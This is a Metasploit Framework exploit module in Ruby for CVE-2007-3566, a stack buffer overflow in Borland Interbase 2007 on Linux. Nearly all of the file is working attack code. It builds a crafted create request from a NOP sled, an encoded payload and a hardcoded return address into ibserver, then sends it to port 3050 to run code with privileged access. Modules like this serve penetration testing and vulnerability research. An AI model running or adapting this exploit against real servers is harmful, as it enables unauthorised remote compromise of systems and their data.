interbase_create.rb.txt

`##  
# $Id: interbase_create.rb 5068 2007-07-31 02:10:49Z ramon $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
  
require 'msf/core'  
  
module Msf  
  
class Exploits::Linux::Misc::Interbase_Create < Msf::Exploit::Remote  
  
include Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Borland Interbase 2007 Create Request Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Borland Interbase 2007  
by sending a specially crafted create request.  
},  
'Version' => '$Revision: 5068 $',  
'Author' =>  
[  
'Ramon de Carvalho Valle <[email protected]>',  
'Adriano Lima <[email protected]>',  
],  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'References' =>  
[  
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],  
[ 'CVE', '2007-3566' ],  
],  
'Privileged' => true,  
'License' => MSF_LICENSE,  
'Payload' =>  
{  
'Space' => 120,  
},  
'Targets' =>  
[  
#  
# /opt/interbase/bin/ibserver  
#  
# 804cbe4: 5e pop %esi  
# 804cbe5: 5d pop %ebp  
# 804cbe6: c3 ret  
#  
  
[ 'Linux - Borland Interbase 2007 Server Edition', { 'Ret' => 0x804cbe4 } ],  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(3050)  
],  
self.class  
)  
  
end  
  
def exploit  
  
connect  
  
# Create request  
buf = [0x14].pack('N')  
  
# Id  
buf << [0x03].pack('N')  
  
# Size  
buf << [0x220].pack('N')  
  
# It will return into this nop block  
buf << make_nops(0x21c - payload.encoded.length)  
  
# Payload  
buf << payload.encoded  
  
print_status("Payload encoded size is #{payload.encoded.length} bytes.")  
  
# Target  
buf << [target.ret].pack('V')  
  
# Padding  
buf << rand_text_english(32 * 1024)  
  
sock.put(buf)  
  
sleep(2)  
  
handler  
  
end  
  
end  
  
end  
  
`